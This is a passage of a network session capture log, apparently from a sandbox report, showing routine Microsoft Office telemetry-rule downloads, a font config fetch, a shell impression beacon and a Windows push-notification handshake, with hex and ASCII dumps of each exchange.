2024-11-24 03:20:35 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:35 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:35 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: ae8c6dce-101e-008d-4280-3b92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032035Z-174c587ffdfn4nhwhC1TEB2nbc00000003x000000000evup x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:35 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:35 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:35 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: bfe6d614-201e-006e-7a8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032035Z-174c587ffdfmrvb9hC1TEBtn3800000003xg000000005xzb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:35 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:35 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:35 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: a1d815ed-301e-0096-3f8c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032035Z-174c587ffdfdwxdvhC1TEB1c4n00000003wg00000000113n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:35 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:35 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:35 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 0a6aa823-c01e-0014-3efe-3da6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032035Z-178bfbc474b9fdhphC1NYCac0n00000005d0000000001tcd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:35 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	49802	184.30.17.174	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:35 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-24 03:20:35 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0SyaoYgAAAACHM3u5nQtYS605XTu+5FyaTE9OMjFFREdFMDIxMgBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=195137 Date: Sun, 24 Nov 2024 03:20:35 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-24 03:20:35 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	49803	20.234.120.54	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:35 UTC	603	OUT	GET /v1/a/impression?CID=128000000001615609&region=CH&lang=EN-CH%2CEN-GB&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.19041.1023&mo=&cap=&EID=&&PID=426081542&UIT=M-&TargetID=1&AN=1288324157&PG=PC000P0FR5.0000000IRU&REQASID=56ED776A4B7B426094846F6111A63AFF&UNID=338389&ASID=e9f988fdbd134eb8a29556abfc7e0908&&DS_EVTID=56ED776A4B7B426094846F6111A63AFF&DEVOSVER=10.0.19045.2006&REQT=20241124T032020&TIME=20241124T032022Z&ARCRAS=&CLR=CDM HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2024-11-24 03:20:36 UTC	183	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 3b3e77ea-2f5e-4b05-9dcb-2c2f3e843566 Date: Sun, 24 Nov 2024 03:20:35 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:37 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:37 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:37 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: ea4907c4-101e-0079-4064-3d5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032037Z-174c587ffdfn4nhwhC1TEB2nbc00000003yg0000000091z7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 03:20:37 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:37 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:37 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 2250be27-501e-007b-7961-3b5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032037Z-178bfbc474bv7whqhC1NYC1fg400000005c000000000b9a2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:37 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:37 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:37 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 76e95f1f-101e-0034-7059-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032037Z-178bfbc474bwlrhlhC1NYCy3kg00000005e0000000005nrd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:37 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:37 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:37 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 9177d9ad-001e-0028-350e-3dc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032037Z-178bfbc474bscnbchC1NYCe7eg00000005m000000000549u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:37 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49805	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:37 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 67 52 62 6e 34 46 4c 34 66 30 65 66 63 2b 2f 38 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 38 36 64 38 35 30 30 63 38 30 36 34 61 64 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: gRbn4FL4f0efc+/8.1Context: a86d8500c8064ad4
2024-11-24 03:20:37 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-24 03:20:37 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 67 52 62 6e 34 46 4c 34 66 30 65 66 63 2b 2f 38 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 38 36 64 38 35 30 30 63 38 30 36 34 61 64 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 4d 2f 57 6c 62 63 68 2f 38 42 74 32 7a 6b 72 33 4a 61 4a 34 4f 7a 7a 44 4a 64 6d 76 48 51 4d 62 57 7a 38 4f 4c 48 55 6f 4f 53 4a 59 55 77 63 7a 37 53 41 73 2b 69 34 74 76 6e 2f 63 50 76 6a 72 48 67 36 31 6f 37 78 2f 70 49 6a 37 63 49 6c 69 33 4f 53 78 66 6f 4e 7a 64 68 4f 7a 72 2b 4f 39 54 44 63 44 31 30 47 66 45 34 65 6a Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: gRbn4FL4f0efc+/8.2Context: a86d8500c8064ad4<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdM/Wlbch/8Bt2zkr3JaJ4OzzDJdmvHQMbWz8OLHUoOSJYUwcz7SAs+i4tvn/cPvjrHg61o7x/pIj7cIli3OSxfoNzdhOzr+O9TDcD10GfE4ej
2024-11-24 03:20:37 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 67 52 62 6e 34 46 4c 34 66 30 65 66 63 2b 2f 38 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 38 36 64 38 35 30 30 63 38 30 36 34 61 64 34 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: gRbn4FL4f0efc+/8.3Context: a86d8500c8064ad4<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-24 03:20:38 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
